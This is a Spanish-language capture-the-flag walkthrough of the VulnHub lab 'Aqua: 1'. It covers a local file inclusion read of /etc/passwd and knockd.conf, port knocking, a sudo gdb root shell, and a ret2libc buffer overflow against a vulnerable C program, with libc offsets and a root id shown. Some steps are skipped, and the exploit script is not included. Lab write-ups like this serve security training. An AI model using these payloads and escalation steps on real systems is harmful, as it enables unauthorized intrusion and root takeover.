AQUA: 1 lfi, port knocking, BOF ret2lib
https://www.vulnhub.com/entry/aqua-1,419/
Pantalla inicial:
Help me! My computer has been hacked by Megumin and I have lost access to my computer password! If you help me, I'll tell everything about Megumin so you can help me to hack her back. Please?? ...
1. Pulsamos en yes y nos da unas credenciales de megumin que no sabemos cómo usarlas. Tenemos dos posibilidades: por el puerto ftp que está filtrado o por alguna página de login oculta.
2. Usando un fuzzer encontramos login.php y accedemos al diario secreto de megumin en home.php. Tenemos lfi
/home.php?showcase=../../../../etc/passwd
3. A partir de aquí hay que ir revisando archivos de configuración o buscar en el home. El hecho de que el puerto ftp aparezca filtrado nos indica la posibilidad de un port knocking. El archivo donde mirar es ../../../../../etc/knockd.conf
[FTP] | |
sequence = 1234:tcp,5678:tcp,9012:tcp |
4. Activamos
Con sudo /usr/bin/gdb -nx -ex '!sh' -ex quit haríamos root, pero se nos avisaba que este es el camino fácil y que lo intentemos por el difícil sin usar gdb y se supone que usando los otros binarios quotes y esp.
9. Camino difícil explotando /root/quotes
Al ejecutarlo
aqua@aqua:~$ sudo /root/quotes
sudo /root/quotes
/root/quotes [Your name here]
Mirando en aqua/Desktop encontramos además un enlace a un source que parece ser el de quotes:
https://raw.githubusercontent.com/yunaranyancat/personal_projects/master/project_9/quotes.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h> #define NUMBER_OF_STRING 20 #define MAX_STRING_SIZE 100 void getname(char *buf); int main(int argc, char **argv) { srand(time(NULL)); char quotes[NUMBER_OF_STRING][MAX_STRING_SIZE] = { "Impossible is for the unwilling.", "Stay foolish to stay sane.", "When nothing goes right, go left.", "Try Again. Fail again. Fail better.", "Take the risk or lose the chance.", "It's okay to not be okay as long as you are not giving up.", "Everything is going to be okay in the end. If it's not the okay, it's not the end.", "Do it. With love.", "It is better to be hated for what you are than to be loved for what you are not.", "Happiness lies in perspective.", "The best way to pay for a lovely moment is to enjoy it. ", "The ultimate mystery is one's own self.", "It doesn't matter how slow you go as long as you don't stop.", "A tiger doesn't lose sleep over the opinion of sheep.", "What worries you, masters you.", "There are no regrets in life, just lessons.", "Showing off is the fool's idea of glory. ", "Meowwww meoww.. meoww meow meowww! Meowwww?? Meow! Meow!", "Failure is not fatal, but failure to change might be.", "Find what you love and let it kill you." }; if (argc < 2) { printf("%s [Your name here] \n",argv[0]); exit(0); } getname(argv[1]); printf("%s\n", quotes[rand()%20]); return 0; } void getname(char *buf) { char buffer[32]; strcpy(buffer,buf); printf("Hi %s,\n"); }
Todo apunta a un BOF pero no podemos usar gdb. Probando encontramos que segmenta cuando la cadena de entrada es > 40. Asumimos además que está usando la librería libc.so.6
aqua@aqua:~$ find / -name libc.so.6 2>/dev/null
find / -name libc.so.6 2>/dev/null
/lib/i386-linux-gnu/libc.so.6
Con esto vamos a generar el payload que nos lleve a root. Necesitamos encontrar en esta librería los offsets de systema, exit y sh, en la máquina víctima. El payload será
junk+system+exit+sh
system, exit y sh lo sacamos de la librería
- Compilamos el quotes.c en la víctima y hacemos ldd
ldd /tmp/quotes
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e09000)
/lib/ld-linux.so.2 (0xb7fdb000)
- system
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
15ba0b /bin/sh
megumin@aqua:/home/aqua$ nc 127.0.0.1 1337
python /tmp/exploit.py
id
uid=0(root) gid=0(root) groups=0(root)
Comentarios
Publicar un comentario